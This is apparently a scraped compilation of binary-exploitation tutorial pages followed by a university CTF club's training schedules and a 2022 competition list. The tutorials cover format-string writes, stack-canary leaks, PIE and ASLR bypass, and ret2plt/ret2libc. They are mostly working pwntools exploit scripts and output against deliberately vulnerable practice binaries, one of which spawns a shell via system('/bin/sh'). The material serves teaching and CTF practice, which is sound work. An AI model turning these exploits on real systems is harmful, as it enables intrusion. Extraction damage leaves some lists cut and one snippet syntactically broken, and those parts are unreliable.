+ABCD|%6$p
+ABCD|0x44434241
+
++++
%p
is a pointer; generally, it returns the same as%x
just precedes it with a0x
which makes it stand out more
As we can see, we're reading the value we inputted. Let's write a quick pwntools script that writes the location of the ELF file and reads it with %s
- if all goes well, it should read the first bytes of the file, which is always \x7fELF
. Start with the basics:
from pwn import *
+
+p = process('./vuln')
+
+payload = p32(0x41424344)
+payload += b'|%6$p'
+
+p.sendline(payload)
+log.info(p.clean())
+
+$ python3 exploit.py
+
+[+] Starting local process './vuln': pid 3204
+[*] b'DCBA|0x41424344'
+
+Nice it works. The base address of the binary is 0x8048000
, so let's replace the 0x41424344
with that and read it with %s
:
from pwn import *
+
+p = process('./vuln')
+
+payload = p32(0x8048000)
+payload += b'|%6$s'
+
+p.sendline(payload)
+log.info(p.clean())
+
+It doesn't work.
+The reason it doesn't work is that printf
stops at null bytes, and the very first character is a null byte. We have to put the format specifier first.
from pwn import *
+
+p = process('./vuln')
+
+payload = b'%8$p||||'
+payload += p32(0x8048000)
+
+p.sendline(payload)
+log.info(p.clean())
+
+Let's break down the payload:
+|
because we want the address we write to fill one memory address, not half of one and half another, because that will result in reading the wrong address%8$p
because the start of the buffer is generally at %6$p
. However, memory addresses are 4 bytes long each and we already have 8 bytes, so it's two memory addresses further along at %8$p
. $ python3 exploit.py
+
+[+] Starting local process './vuln': pid 3255
+[*] b'0x8048000||||'
+
+++It still stops at the null byte, but that's not important because we get the output; the address is still written to memory, just not printed back.
+
Now let's replace the p
with an s
.
$ python3 exploit.py
+
+[+] Starting local process './vuln': pid 3326
+[*] b'\x7fELF\x01\x01\x01||||'
+
+Of course, %s
will also stop at a null byte as strings in C are terminated with them. We have worked out, however, that the first bytes of an ELF file up to a null byte is \x7fELF\x01\x01\x01
.
Luckily C contains a rarely-used format specifier %n
. This specifier takes in a pointer (memory address) and writes there the number of characters written so far. If we can control the input, we can control how many characters are written and also where we write them.
Obviously, there is a small flaw - to write, say, 0x8048000
to a memory address, we would have to write that many characters - and generally buffers aren't quite that big. Luckily there are other format string specifiers for that. I fully recommend you watch this video to completely understand it, but let's jump into a basic binary.
#include <stdio.h>
+
+int auth = 0;
+
+int main() {
+ char password[100];
+
+ puts("Password: ");
+ fgets(password, sizeof password, stdin);
+
+ printf(password);
+ printf("Auth is %i\n", auth);
+
+ if(auth == 10) {
+ puts("Authenticated!");
+ }
+}
+
+Simple - we need to overwrite the variable auth
with the value 10. Format string vulnerability is obvious, but there's also no buffer overflow due to a secure fgets
.
As it's a global variable, it's within the binary itself. We can check the location using readelf
to check for symbols.
$ readelf -s auth | grep auth
+ 34: 00000000 0 FILE LOCAL DEFAULT ABS auth.c
+ 57: 0804c028 4 OBJECT GLOBAL DEFAULT 24 auth
+
+The location of auth
is 0x0804c028
.
We're lucky there are no null bytes, so there's no need to change the order.
+$ ./auth
+
+Password:
+%p %p %p %p %p %p %p %p %p
+0x64 0xf7f9f580 0x8049199 (nil) 0x1 0xf7ff5980 0x25207025 0x70252070 0x20702520
+
+Buffer is the 7th %p
.
from pwn import *
+
+AUTH = 0x804c028
+
+p = process('./auth')
+
+payload = p32(AUTH)
+payload += b'|' * 6 # We need to write the value 10, AUTH is 4 bytes, so we need 6 more for %n
+payload += b'%7$n'
+
+
+print(p.clean().decode('latin-1'))
+p.sendline(payload)
+print(p.clean().decode('latin-1'))
+
+And easy peasy:
+[+] Starting local process './auth': pid 4045
+Password:
+
+[*] Process './auth' stopped with exit code 0 (pid 4045)
+(À\x04||||||
+Auth is 10
+Authenticated!
+
+As you can expect, pwntools has a handy feature for automating %n
format string exploits:
payload = fmtstr_payload(offset, {location : value})
+
+The offset
in this case is 7
because the 7th %p
read the buffer; the location is where you want to write it and the value is what. Note that you can add as many location-value pairs into the dictionary as you want.
payload = fmtstr_payload(7, {AUTH : 10})
+
+You can also grab the location of the auth
symbol with pwntools:
elf = ELF('./auth')
+AUTH = elf.sym['auth']
+
+++ + + + + + + + +Check out the pwntools tutorials for more cool features
+
++https://ir0nstone.gitbook.io/notes/
+
The Buffer Overflow defense
+Stack Canaries are very simple - at the beginning of the function, a random value is placed on the stack. Before the program executes ret
, the current value of that variable is compared to the initial: if they are the same, no buffer overflow has occurred.
If they are not, the attacker attempted to overflow to control the return pointer, and the program crashes, often with a ***stack smashing detected***
error message.
On Linux, stack canaries end in 00
. This is so that they null-terminate any strings in case you make a mistake when using print functions, but it also makes them much easier to spot.
There are two ways to bypass a canary.
+This is quite broad and will differ from binary to binary, but the main aim is to read the value. The simplest option is using format string if it is present - the canary, like other local variables, is on the stack, so if we can leak values off the stack it's easy.
+#include <stdio.h>
+
+void vuln() {
+ char buffer[64];
+
+ puts("Leak me");
+ gets(buffer);
+
+ printf(buffer);
+ puts("");
+
+ puts("Overflow me");
+ gets(buffer);
+}
+
+int main() {
+ vuln();
+}
+
+void win() {
+ puts("You won!");
+}
+
+The source is very simple - it gives you a format string vulnerability, then a buffer overflow vulnerability. The format string we can use to leak the canary value, then we can use that value to overwrite the canary with itself. This way, we can overflow past the canary but not trigger the check as its value remains constant. And of course, we just have to run win()
.
First, let's check if there is a canary:
+$ pwn checksec vuln-32
+[*] 'vuln-32'
+ Arch: i386-32-little
+ RELRO: Partial RELRO
+ Stack: Canary found
+ NX: NX enabled
+ PIE: No PIE (0x8048000)
+
+Yup, there is. Now we need to calculate at what offset the canary is at and to do this we'll use radare2.
+$ r2 -d -A vuln-32
+
+[0xf7f2e0b0]> db 0x080491d7
+[0xf7f2e0b0]> dc
+Leak me
+%p
+hit breakpoint at: 80491d7
+[0x080491d7]> pxw @ esp
+0xffd7cd60 0xffd7cd7c 0xffd7cdec 0x00000002 0x0804919e |...............
+0xffd7cd70 0x08048034 0x00000000 0xf7f57000 0x00007025 4........p..%p..
+0xffd7cd80 0x00000000 0x00000000 0x08048034 0xf7f02a28 ........4...(*..
+0xffd7cd90 0xf7f01000 0xf7f3e080 0x00000000 0xf7d53ade .............:..
+0xffd7cda0 0xf7f013fc 0xffffffff 0x00000000 0x080492cb ................
+0xffd7cdb0 0x00000001 0xffd7ce84 0xffd7ce8c 0xadc70e00 ................
+
+The last value there is the canary. We can tell because it's roughly 64 bytes after the "buffer start", which should be close to the end of the buffer. Additionally, it ends in 00
and looks very random, unlike the libc and stack addresses that start with f7
and ff
. If we count the number of addresses it's around 24 until that value, so we go one before and one after as well to make sure.
$./vuln-32
+
+Leak me
+%23$p %24$p %25$p
+0xa4a50300 0xf7fae080 (nil)
+
+It appears to be at %23$p
. Remember, stack canaries are randomized for each new process, so it won't be the same.
Now let's just automate grabbing the canary with pwntools:
+from pwn import *
+
+p = process('./vuln-32')
+
+log.info(p.clean())
+p.sendline('%23$p')
+
+canary = int(p.recvline(), 16)
+log.success(f'Canary: {hex(canary)}')
+
+$ python3 exploit.py
+[+] Starting local process './vuln-32': pid 14019
+[*] b'Leak me\n'
+[+] Canary: 0xcc987300
+
+Now all that's left is to work out what the offset is until the canary, and then the offset from after the canary to the return pointer.
+$ r2 -d -A vuln-32
+[0xf7fbb0b0]> db 0x080491d7
+[0xf7fbb0b0]> dc
+Leak me
+%23$p
+hit breakpoint at: 80491d7
+[0x080491d7]> pxw @ esp
+[...]
+0xffea8af0 0x00000001 0xffea8bc4 0xffea8bcc 0xe1f91c00
+
+We see the canary is at 0xffea8afc
. A little later on the return pointer (we assume) is at 0xffea8b0c
. Let's break just after the next gets()
and check what value we overwrite it with (we'll use a De Bruijn pattern).
[0x080491d7]> db 0x0804920f
+[0x080491d7]> dc
+0xe1f91c00
+Overflow me
+AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFA
+hit breakpoint at: 804920f
+[0x0804920f]> pxw @ 0xffea8afc
+0xffea8afc 0x41574141 0x41415841 0x5a414159 0x41614141 AAWAAXAAYAAZAAaA
+0xffea8b0c 0x41416241 0x64414163 0x41654141 0x41416641 AbAAcAAdAAeAAfAA
+
+Now we can check the canary and EIP offsets:
+[0x0804920f]> wopO 0x41574141
+64
+[0x0804920f]> wopO 0x41416241
+80
+
+The returned pointer is 16 bytes after the canary start, so 12 bytes after the canary.
+from pwn import *
+
+p = process('./vuln-32')
+
+log.info(p.clean())
+p.sendline('%23$p')
+
+canary = int(p.recvline(), 16)
+log.success(f'Canary: {hex(canary)}')
+
+payload = b'A' * 64
+payload += p32(canary) # overwrite canary with original value to not trigger
+payload += b'A' * 12 # pad to return pointer
+payload += p32(0x08049245)
+
+p.clean()
+p.sendline(payload)
+
+print(p.clean().decode('latin-1'))
+
+Same source, same approach, just 64-bit. Try it yourself before checking the solution.
+++ +Remember, in 64-bit format string goes to the relevant registers first and the addresses can fit 8 bytes each so the offset may be different.
+
This is possible on 32-bit, and sometimes unavoidable. It's not, however, feasible on 64-bit.
+As you can expect, the general idea is to run the process loads and load of times with random canary values until you get a hit, which you can differentiate by the presence of a known plaintext, e.g. flag{
and this can take ages to run and is frankly not a particularly interesting challenge.
++Position Independent Code
+
PIE stands for Position Independent Executable, which means that every time you run the file it gets loaded into a different memory address. This means you cannot hardcode values such as function addresses and gadget locations without finding out where they are.
+Luckily, this does not mean it's impossible to exploit. PIE executables are based on relative rather than absolute addresses, meaning that while the locations in memory are fairly random the offsets between different parts of the binary remain constant. For example, if you know that the function main
is located 0x128
bytes in memory after the base address of the binary, and you somehow find the location of main
, you can simply subtract 0x128
from this to get the base address and from the addresses of everything else.
So, all we need to do is find a single address and PIE is bypassed. Where could we leak this address from?
+The stack of course!
+We know that the return pointer is located on the stack - and much like a canary, we can use format string (or other ways) to read the value of the stack. The value will always be a static offset away from the binary base, enabling us to completely bypass PIE!
+Due to the way PIE randomization works, the base address of a PIE executable will always end in the hexadecimal characters 000
. This is because pages are the things being randomized in memory, which have a standard size of 0x1000
. Operating Systems keep track of page tables that point to each section of memory and define the permissions for each section, similar to segmentation.
Checking the base address ends in 000
should probably be the first thing you do if your exploit is not working as you expected.
As shown in the pwntools ELF tutorial, pwntools has a host of functionality that allows you to really make your exploit dynamic. Simply setting elf.address
will automatically update all the function and symbols addresses for you, meaning you don't have to worry about using readelf
or other command line tools, but instead can receive it all dynamically.
Not to mention that the ROP capabilities are incredibly powerful as well.
+++Exploiting PIE with a given leak
+
#include <stdio.h>
+
+int main() {
+ vuln();
+
+ return 0;
+}
+
+void vuln() {
+ char buffer[20];
+
+ printf("Main Function is at: %lx\n", main);
+
+ gets(buffer);
+}
+
+void win() {
+ puts("PIE bypassed! Great job :D");
+}
+
+Pretty simple - we print the address of the main
, which we can read and calculate the base address from. Then, using this, we can calculate the address of win()
itself.
Let's just run the script to make sure it's the right one :D
+$ ./vuln-32
+Main Function is at: 0x5655d1b9
+
+Yup, and as we expected, it prints the location of the main
.
First, let's set up the script. We create an ELF
object, which becomes very useful later on, and start the process.
from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+p = process()
+
+Now we want to take in the main
function location. To do this we can simply receive up until it (and do nothing with that) and then read it.
p.recvuntil('at: ')
+main = int(p.recvline(), 16)
+
+++Since we received the entire line except for the address, only the address will come up with
+p.recvline()
.
Now we'll use the ELF
object we created earlier and set its base address. The sym
dictionary returns the offsets of the functions from the binary base until the base address is set, after which it returns the absolute address in memory.
elf.address = main - elf.sym['main']
+
+In this case, elf.sym['main']
will return 0x11b9
; if we ran it again, it would return 0x11b9
+ the base address. So, essentially, we're subtracting the offset of the main
from the address we leaked to get the base of the binary.
Now we know the base we can just call win()
.
payload = b'A' * 32
+payload += p32(elf.sym['win'])
+
+p.sendline(payload)
+
+print(p.clean().decode('latin-1'))
+
+++By this point, I assume you know how to find the padding length and other stuff we've been mentioning for a while, so I won't be showing you every step of that.
+
And does it work?
+[*] 'vuln-32'
+ Arch: i386-32-little
+ RELRO: Partial RELRO
+ Stack: No canary found
+ NX: NX enabled
+ PIE: PIE enabled
+[+] Starting local process 'vuln-32': pid 4617
+PIE bypassed! Great job :D
+
+Awesome!
+from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+p = process()
+
+p.recvuntil('at: ')
+main = int(p.recvline(), 16)
+
+elf.address = main - elf.sym['main']
+
+payload = b'A' * 32
+payload += p32(elf.sym['win'])
+
+p.sendline(payload)
+
+print(p.clean().decode('latin-1'))
+
+From the leaked address of the main
, we were able to calculate the base address of the binary. From this, we could then calculate the address of the win
and call it.
And one thing I would like to point out is how simple this exploit is. Look - it's 10 lines of code, at least half of which is scaffolding and setup.
+Try this for yourself first, then feel free to check the solution. Same source, same challenge.
+ +++Using format string
+
#include <stdio.h>
+
+void vuln() {
+ char buffer[20];
+
+ printf("What's your name?\n");
+ gets(buffer);
+
+ printf("Nice to meet you ");
+ printf(buffer);
+ printf("\n");
+
+ puts("What's your message?");
+
+ gets(buffer);
+}
+
+int main() {
+ vuln();
+
+ return 0;
+}
+
+void win() {
+ puts("PIE bypassed! Great job :D");
+}
+
+Unlike last time, we don't get given a function. We'll have to leak it with format strings.
+$ ./vuln-32
+
+What's your name?
+%p
+Nice to meet you 0xf7f6d080
+What's your message?
+hello
+
+Everything's as we expect.
+As last time, first, we set everything up.
+from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+p = process()
+
+Now we just need a leak. Let's try a few offsets.
+$ ./vuln-32
+What's your name?
+%p %p %p %p %p
+Nice to meet you 0xf7eee080 (nil) 0x565d31d5 0xf7eb13fc 0x1
+
+3rd one looks like a binary address, let's check the difference between the 3rd leak and the base address in radare2. Set a breakpoint somewhere after the format string leak (doesn't really matter where).
+$ r2 -d -A vuln-32
+
+Process with PID 5548 started...
+= attach 5548 5548
+bin.baddr 0x565ef000
+0x565f01c9]> db 0x565f0234
+[0x565f01c9]> dc
+What's your name?
+%3$p
+Nice to meet you 0x565f01d5
+
+We can see the base address is 0x565ef000
and the leaked value is 0x565f01d5
. Therefore, subtracting 0x1d5
from the leaked address should give us the binary. Let's leak the value and get the base address.
p.recvuntil('name?\n')
+p.sendline('%3$p')
+
+p.recvuntil('you ')
+elf_leak = int(p.recvline(), 16)
+
+elf.address = elf_leak - 0x11d5
+log.success(f'PIE base: {hex(elf.address)}') # not required, but a nice check
+
+Now we just need to send the exploit payload.
+payload = b'A' * 32
+payload += p32(elf.sym['win'])
+
+p.recvuntil('message?\n')
+p.sendline(payload)
+
+print(p.clean().decode())
+
+from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+p = process()
+
+p.recvuntil('name?\n')
+p.sendline('%3$p')
+
+p.recvuntil('you ')
+elf_leak = int(p.recvline(), 16)
+
+elf.address = elf_leak - 0x11d5
+log.success(f'PIE base: {hex(elf.address)}')
+
+payload = b'A' * 32
+payload += p32(elf.sym['win'])
+
+p.recvuntil('message?\n')
+p.sendline(payload)
+
+print(p.clean().decode())
+
+Same deal, just 64-bit. Try it out :)
+ +++Address Space Layout Randomisation
+
ASLR stands for Address Space Layout Randomisation and can, in most cases, be thought of as libc
's equivalent of PIE - every time you run a binary, libc
(and other libraries) get loaded into a different memory address.
++While it's tempting to think of ASLR as
+libc
PIE, there is a key difference.ASLR is a kernel protection while PIE is a binary protection. The main difference is that PIE can be compiled into the binary while the presence of ASLR is completely dependent on the environment running the binary. If I sent you a binary compiled with ASLR disabled while I did it, it wouldn't make any difference at all if you had ASLR enabled.
+
Of course, as with PIE, this means you cannot hardcode values such as function address (e.g. system
for a ret2libc).
It's tempting to think that, as with PIE, we can simply format string for a libc address and subtract a static offset from it. Sadly, we can't quite do that.
+When functions finish execution, they do not get removed from memory; instead, they just get ignored and overwritten. Chances are very high that you will grab one of these remnants with the format string. Different libc versions can act very differently during execution, so a value you just grabbed may not even exist remotely, and if it does the offset will most likely be different (different libcs have different sizes and therefore different offsets between functions). It's possible to get lucky, but you shouldn't really hope that the offsets remain the same.
+Instead, a more reliable way is reading the GOT entry of a specific function.
+For the same reason as PIE, libc base addresses always end in the hexadecimal characters 000
.
#include <stdio.h>
+#include <stdlib.h>
+
+void vuln() {
+ char buffer[20];
+
+ printf("System is at: %lp\n", system);
+
+ gets(buffer);
+}
+
+int main() {
+ vuln();
+
+ return 0;
+}
+
+void win() {
+ puts("PIE bypassed! Great job :D");
+}
+
+Just as we did for PIE, except this time we print the address of the system.
+$ ./vuln-32
+System is at: 0xf7de5f00
+
+Yup, does what we expected.
+++Your address of the system might end in different characters - you just have a different libc version
+
Much of this is as we did with PIE.
+from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+libc = elf.libc
+p = process()
+
+Note that we include the libc here - this is just another ELF
object that makes our lives easier.
Parse the address of the system and calculate the libc base from that (as we did with PIE):
+p.recvuntil('at: ')
+system_leak = int(p.recvline(), 16)
+
+libc.address = system_leak - libc.sym['system']
+log.success(f'LIBC base: {hex(libc.address)}')
+
+Now we can finally ret2libc, using the libc
ELF
object to really simplify it for us:
payload = flat(
+ 'A' * 32,
+ libc.sym['system'],
+ 0x0, # return address
+ next(libc.search(b'/bin/sh'))
+)
+
+p.sendline(payload)
+
+p.interactive()
+
+from pwn import *
+
+elf = context.binary = ELF('./vuln-32')
+libc = elf.libc
+p = process()
+
+p.recvuntil('at: ')
+system_leak = int(p.recvline(), 16)
+
+libc.address = system_leak - libc.sym['system']
+log.success(f'LIBC base: {hex(libc.address)}')
+
+payload = flat(
+ 'A' * 32,
+ libc.sym['system'],
+ 0x0, # return address
+ next(libc.search(b'/bin/sh'))
+)
+
+p.sendline(payload)
+
+p.interactive()
+
+Try it yourself :)
+ +If you prefer, you could have changed the following payload to be more pwntoolsy:
+payload = flat(
+ 'A' * 32,
+ libc.sym['system'],
+ 0x0, # return address
+ next(libc.search(b'/bin/sh'))
+)
+
+p.sendline(payload)
+
+Instead, you could do:
+binsh = next(libc.search(b'/bin/sh'))
+
+rop = ROP(libc)
+rop.raw('A' * 32)
+rop.system(binsh)
+
+p.sendline(rop.chain())
+
+The benefit of this is it's (arguably) more readable, but also makes it much easier to reuse in 64-bit exploits as all the parameters are automatically resolved for you.
+++Bypassing ASLR
+
The PLT and GOT are sections within an ELF file that deal with a large portion of the dynamic linking. Dynamically linked binaries are more common than statically linked binary in CTFs. The purpose of dynamic linking is that binaries do not have to carry all the code necessary to run within them - this reduces their size substantially. Instead, they rely on system libraries (especially libc
, the C standard library) to provide the bulk of the functionality. For example, each ELF file will not carry its own version of puts
compiled within it - it will instead dynamically link to the puts
of the system it is on. As well as smaller binary sizes, this also means the user can continually upgrade their libraries, instead of having to redownload all the binaries every time a new version comes out.
So when it's on a new system, it replaces function calls with hardcoded addresses?
+Not quite.
+The problem with this approach is it requires libc
to have a constant base address, i.e. be loaded in the same area of memory every time it's run, but remember that *ASLR* exists. Hence the need for dynamic linking. Due to the way ASLR works, these addresses need to be resolved every time the binary is run. Enter the PLT and GOT.
The PLT (Procedure Linkage Table) and GOT (Global Offset Table) work together to perform the linking.
+When you call puts()
in C and compile it as an ELF executable, it is not actually puts()
- instead, it gets compiled as puts@plt
. Check it out in GDB:
Why does it do that?
+Well, as we said, it doesn't know where puts
actually are - so it jumps to the PLT entry of puts
instead. From here, puts@plt
does some very specific things:
puts
, it jumps to the address stored there.The GOT is a massive table of addresses; these addresses are the actual locations in memory of the libc
functions. puts@got
, for example, will contain the address of puts
in memory. When the PLT gets called, it reads the GOT address and redirects execution there. If the address is empty, it coordinates with the ld.so
(also called the dynamic linker/loader) to get the function address and store it in the GOT.
Well, there are two key takeaways from the above explanation:
+libc
, and the GOT is within the binary.The use of the first point is clear - if we have a PLT entry for a desirable libc
function, for example, system
, we can just redirect execution to its PLT entry and it will be the equivalent of calling the system
directly; no need to jump into libc
.
The second point is less obvious, but debatably even more important. As the GOT is part of the binary, it will always be a constant offset away from the base. Therefore, if PIE is disabled or you somehow leak the binary base, you know the exact address that contains a libc
function's address. If you perhaps have an arbitrary read, it's trivial to leak the real address of the libc
function and therefore bypass ASLR.
There are two main ways that I (personally) exploit an arbitrary read. Note that these approaches will cause not only the GOT entry to be returned but everything else until a null byte is reached as well, due to strings in C being null-terminated; make sure you only take the required number of bytes.
+A ret2plt is a common technique that involves calling puts@plt
and passing the GOT entry of puts as a parameter. This causes puts
to print out its own address in libc
. You then set the return address to the function you are exploiting in order to call it again and enable you to
# 32-bit ret2plt
+payload = flat(
+ b'A' * padding,
+ elf.plt['puts'],
+ elf.symbols['main'],
+ elf.got['puts']
+)
+
+# 64-bit
+payload = flat(
+ b'A' * padding,
+ POP_RDI,
+ elf.got['puts']
+ elf.plt['puts'],
+ elf.symbols['main']
+)
+
++++
flat()
packs all the values you give it withp32()
andp64()
(depending on context) and concatenates them, meaning you don't have to write the packing functions out all the time
This has the same general theory but is useful when you have limited stack space or a ROP chain would alter the stack in such a way as to complicate future payloads, for example when stack pivoting.
+payload = p32(elf.got['puts']) # p64() if 64-bit
+payload += b'|'
+payload += b'%3$s' # The third parameter points at the start of the buffer
+
+
+# this part is only relevant if you need to call the function again
+
+payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
+payload += p32(elf.symbols['main'])
+
+# Send it off...
+
+p.recvuntil(b'|') # This is not required
+puts_leak = u32(p.recv(4)) # 4 bytes because it's 32-bit
+
+libc
of functions you use and stores them in the GOTfunction@plt
is equivalent to calling the function itselflibc
baseAfter the recruiting on September 4th, new members are going to learn basic ideas of CTF.
+The training project for 2021 fall is going to start in September, and will finish in November. After the training, another exam would be held.
+Data | +Title | +Intro | +Material | +
---|---|---|---|
Sep 11th 2021 | +Introduction to CTF, how to Search & Learn | +Learn about what's CTF and how we win a CTF. The attendance of competitions and how to group a team. | +Introduction to CTF.pdf | +
Sep 19th 2021 | +Linux, Programming, and Toolkit | +Introduce how to operate a Linux system using CLI, and install your environment. Learn how to program with Python. Install the toolkit. | +Linux, Programming, and Toolkit | +
Sep 25th 2021 | +Web Challenges and Databases | +Ability to learn computer networks and hack websites. Know HTTP & HTTPS in protocol, and tools to capture / modify packets. | +Web Challenges and Databases.pdf | +
Oct 10th 2021 | +Forensics & Steganography | +Analyze the file format and hidden information. Packet or network traffic analysis as well. Several skills to check images. | +Forensics_Steganography.pdf | +
Oct 16th 2021 | +Operating Systems | +Guide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure. | +Operating Systems.pptx | +
Oct 23th 2021 | +Modern Cryptography and Mathematics | +Asymmetric cryptography like RSA, ECC. A mathematic definition about security and attacks to the modern cryptography. | +Cryptography.pptx | +
Oct 30th 2021 | +Assembly Language | +Learn about some CISC knowledge. Use x86_64 as example to do assembly. Some reverse engineering skills are involved. | +Reverse.pdf | +
Nov 20th 2021 | +Binary Exploitations | +PWN challenges. Buffer overflows, shellcodes, ROP, and some pwn challenges. | +Binary Exploitation.pdf | +
Nov 27th 2021 | +Post Penetration | +After acquire a shell or you want to use reverse shell to exploit websites. Use vulnerability database to search vulnerabilities. Privilege escalation in Linux system. | ++ |
Dec 4th 2021 | +AWD CTF | +From Jeopardy to AWD (Attack and Defense) CTF. Use an online AWD CTF to learn about vulnerability fix and exploit. | ++ |
Dec 11th 2021 | +Report | +Individual report of each new members about a topic you interested in. | ++ |
Dec 18th 2021 | +Exam | +Qualifier exam. | ++ |
There some major changes to our training timeline.
+According to the new goal of intro and improve, the lecture time is reduced to 1 hour in order to do more exercise.
+The offline training location is changed to Meeting Room 551 Engineering College South Tower because of the failure to get keys to TB2 (aka, picking locks are illegal).
+Training time stays unchanged: every Saturday 2pm - 6pm.
+2021 Fall training timeline:
+14:00 - 15:00 Lecture
+15:30 - 18:00 Collaborate exercise
+It's highly recommend you to join offline in Meeting Room 551 Engineering College South Tower, but if you have any other arrangement, online attendance is fine.
+Any pigeons absence for 3 weeks would be stewed into pigeon soup. Because after 3 weeks of patting fish, you may forget the password of your own kali image.
+ + + + + + + + +The summer of 2021 is focusing on the beginners and our new members of team. Summer schedule is from basics of CTF to introduction to all the categories and basic knowledge.
+Date | +Title | +Intro | +Material | +
---|---|---|---|
July 31st 2021 | +Operating Systems | +Guide to the OS course, learning about modern operating systems from Windows, Linux, to Android. About hardware, process architecture, how OS schedule procedure. | +Computer Systems: A Programmer's Perspective | +
Aug 7nd 2021 | +Computer Network and Protocols | +About computer network, how Internet works and basic protocols about computer network. | +Computer Networking: A Top-Down Approach | +
Aug 14nd 2021 | +Modern Cryptography and Mathematics | +Asymmetric cryptography like RSA, ECC. A mathematic definition about security and attacks to the modern cryptography. | +Cryptography Theory and Practice Introduction to Modern Cryptography |
+
Aug 21st 2021 | +Penetration and Hacking | +From CTF challenges to the penetration testing and hacking a real system. Learn about how to carry out a real attack to the computer systems. | +The Hacker Playbook | +
Aug 28th 2021 | +Ethics of Cybersecurity & Exam for CTF team | +Ethics of hacking and cybersecurity. From supply chain attack to Linux kernel to security research ethics. Learn about how to apply good penetration test instead of cracking. | +An Introduction to Cybersecurity Ethics | +
The training location is at southern building of engineering college, 551 meeting room. If any changes to the training location, we would inform in advance.
+Welcome everyone to our training weekly.
+Summer training timeline:
+14:00 - 14:30 Chatting and review of daily challenges
+14:30 - 16:00 Lecture
+16:10 - 17:00 Training sequence 1
+17:10 - 18:00 Training sequence 2
+If you have any advice to the training, and about the topics of lecture, feel free to inform me and we can update training schedule according to your needs.
+ + + + + + + + +This semester we have both advanced training and qualification for 2022 students.
+Training: from 2 pm to 6 pm every Sunday at 551 Room, Southern Tower of Engineering Department.
+The first 4 weeks this semester is for the qualification, then we would have weekly training every Sunday.
+Remember we also have a CS315 course this semester.
+Date | +Topic | +Attachments | +
---|---|---|
Sep, 11th | +Welcome, and meeting with new members. Introduction to the competitions, research, and COMPASS lab. | +None | +
Sep, 18th | +Final Round for GDCTF 2nd, skip. | +None | +
Sep, 25th | +Bytecode CTF. | +None | +
Oct, 2nd | +Qualification, and introduction of CTF for 2022 students. | +Introduction to CTF.pdf Linux challenges Linux tutorial Python tutorial |
+
Oct, 9th | +Basics about OS, Web, and fundamentals programming. | +Web Basics and Databases.pdf CTF101 Web |
+
Oct, 16th | +Reverse engineering, GLIBC, and how to exploit a binary program. | +Reverse.pdf Binary Exploitation.pdf |
+
Oct, 23th | +Qualification Exam: CTF track and AWD track. | +None | +
Oct, 30th | +PWN, stack, heap, and kernel. | +Kernel PWN Introduction | +
Nov, 6th | +Reversing different kinds of applications, desktop, mobile, and embedded. | +newbie dive into binary | +
Nov, 20th | +Modern cryptography, ECC, RC4, and AES. | +iThome ironman | +
Nov, 27th | +Attack-with-Defense, EDR, network sniffing, and trojan. | +Post Penetration | +
Dec, 4th | +COMPASS CTF Event (Jeopardy). | +None | +
Dec, 11th | +COMPASS CTF Event (AWD). | +None | +
Dec, 17th | +Summary of 2022 Fall Training. | +TBA | +
Your advice is valuable and would help me to improve the training. If you have any suggestions, there are several ways to contact me:
+Weekly meeting: every Thursday, at 16 pm, according to the weekly meeting page.
+My email address: liz33#mail.sustech.edu.cn
My office address: 441A, Southern Tower of the Engineering Department.
+The time schedule for 2022 takes competition as major tasks. Currently, we have enough training for CTF techniques. Some of the competitions from 2022 Feb to 2022 July would be listed here.
+Be aware that the time schedule may adjust according to the competition arrangement.
+Every week we would have at least ONE competition and ONE presentation slide. The activity would be both online / offline. Online meeting for those can't participate in the offline meeting, while offline is the major component.
+Location: 515 Meeting Room, Southern Tower of Engineering Department
+Time: every Saturday from 2 pm to 6 pm
+Snacks and teatime are also included.
+Competition | +Time | +Format | +Comment | +
---|---|---|---|
DefCamp CTF 2022 Online | +11 Feb, 17:00 CST — 13 Feb 2022, 23:00 CST | +Jeopardy | +Rating weight: 43.08 | +
CInsects CTF 2022 | +19 Feb, 19:00 CST — 20 Feb 2022, 04:00 CST | +Attack-Defense | +AWD exercise | +
Codegate CTF 2022 Preliminary | +26 Feb, 18:00 CST — 27 Feb 2022, 18:00 CST | +Jeopardy | +Top 10 teams will go on to the final match | +
D^3CTF 2022 | +04 March, 20:00 CST — 06 March 2022, 20:00 CST | +Jeopardy | +Top 12 teams will get awards | +
DaVinciCTF 2022 | +12 March, 00:00 CST — 14 March 2022, 00:00 CST | +Jeopardy | +Rating weight: 24.50 | +
VolgaCTF 2022 Qualifier | +19 March, 23:00 CST — 20 March 2022, 23:00 CST | +Jeopardy | +Top teams will be invited to participate in VolgaCTF 2022 Final | +
LINE CTF 2022 | +26 March, 08:00 CST — 27 March 2022, 08:00 CST | +Jeopardy | +Rating weight: 23.68 | +
Midnight Sun CTF 2022 Quals | +02 April, 18:00 CST — 03 April 2022, 18:00 CST | +Jeopardy | +Rating weight: 27.82 | +
PlaidCTF 2022 | +09 April, 05:00 CST — 11 April 2022, 05:00 CST | +Jeopardy | +Rating weight: 93.67 | +
CUCTF 1.0 | +23 April, 2022, 06:30 UTC — 23 April, 2022, 12:30 UTC | +Jeopardy | +This CTF will be in collaboration of WIZCON '22 which aims to introduce beginners to Capture the Flags. | +
(Empty) | +30 May, 2022 | +(Empty) | +Welcome back to campus | +
2022年春秋杯网络安全联赛-春季赛 | +2022-05-07 09:00:00 - 2022-05-07 19:00:00 | +Jeopardy | +月赛采用持续报名的形式,凡报名过本届季赛或任一月赛的选手无须重复报名,可直接进行参赛。 | +
VolgaCTF 2022 Qualifier | +14 May 2022, 15:00 UTC — 15 May 2022, 15:00 UTC | +Jeopardy | +VolgaCTF 2022 Qualifier is an online competition. Top teams will be invited to participate in VolgaCTF 2022 Final, which will be held in Samara, Russia. | +
广东大学生网络安全攻防大赛 | +21 May 2022 - 22 May 2022 | +Question + Jeopardy | +The top 30 teams would be qualified to the final round. | +
